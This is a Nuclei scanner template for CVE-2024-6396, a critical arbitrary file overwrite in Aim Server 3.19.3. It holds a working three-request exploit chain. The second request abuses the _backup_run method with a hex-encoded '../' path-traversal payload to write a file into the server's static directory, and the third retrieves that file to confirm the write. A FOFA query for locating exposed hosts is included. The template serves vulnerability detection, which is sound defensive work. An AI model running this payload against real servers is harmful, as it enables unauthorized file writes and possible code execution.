CVE-2024-6396: Aimhubio Aim Server 3.19.3 - Arbitrary File Overwrite

id: CVE-2024-6396

info:
  name: Aimhubio Aim Server 3.19.3 - Arbitrary File Overwrite
  author: iamnoooob,rootxharsh,pdresearch
  severity: critical
  description: |
    A vulnerability in the `_backup_run` function in aimhubio/aim version 3.19.3 allows remote attackers to overwrite any file on the host server and exfiltrate arbitrary data. The vulnerability arises due to improper handling of the `run_hash` and `repo.path` parameters, which can be manipulated to create and write to arbitrary file paths. This can lead to denial of service by overwriting critical system files, loss of private data, and potential remote code execution.
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-6396
    cwe-id: CWE-29
    epss-score: 0.90499
    epss-percentile: 0.99589
    cpe: cpe:2.3:a:aimstack:aim:*:*:*:*:*:*:*:*
  metadata:
    max-request: 3
    verified: true
    fofa-query: icon_hash="-1047157256"
    product: aim
    vendor: aimstack
  tags: cve,cve2024,aim,aimhubio,file-write,vkev

variables:
  filename: "{{rand_base(7)}}"
  args: "{{ concat(hex_decode('000000000001000000060a000000fe0000000000000000fe004b000000042e2e2f2e2e2f2e2e2f2e2e2f7573722f6c6f63616c2f6c69622f707974686f6e332e392f736974652d7061636b616765732f61696d5f75692f6275696c642f'),filename, hex_decode('2e747874')) }}"

http:
  - raw:
      - |
        POST /tracking/client_1/get-resource HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {
        "resource_handler": "my_resource",
        "resource_type": "Repo",
        "args": "AAAAAAABAAAABw=="
        }

      - |
        POST /tracking/client_1/read-instruction HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {
        "resource_handler": "my_resource",
        "method_name": "_backup_run",
        "args": "{{base64(args)}}"
        }

      - |
        @Host: http://{{Host}}:43800
        GET /static-files/{{filename}}.txt HTTP/1.1
        Host: {{Host}}:43800

    matchers-condition: and
    matchers:
      - type: word
        part: body_1
        words:
          - '{"handler":"my_resource"}'

      - type: word
        part: body_3
        words:
          - "{{filename}}.txt"

      - type: word
        part: header_3
        words:
          - "text/plain"
# digest: 4a0a00473045022100e8082333697080ca0f7785e7a6ad0486a4b94b77e0acdd06ebeaa5b5026cc4b50220723c0e66ad3e7cafb49eca86ae1f793ba94c5e6e326789ba1f480de54917c0d0:922c64590222798bb761d5b6d8e72950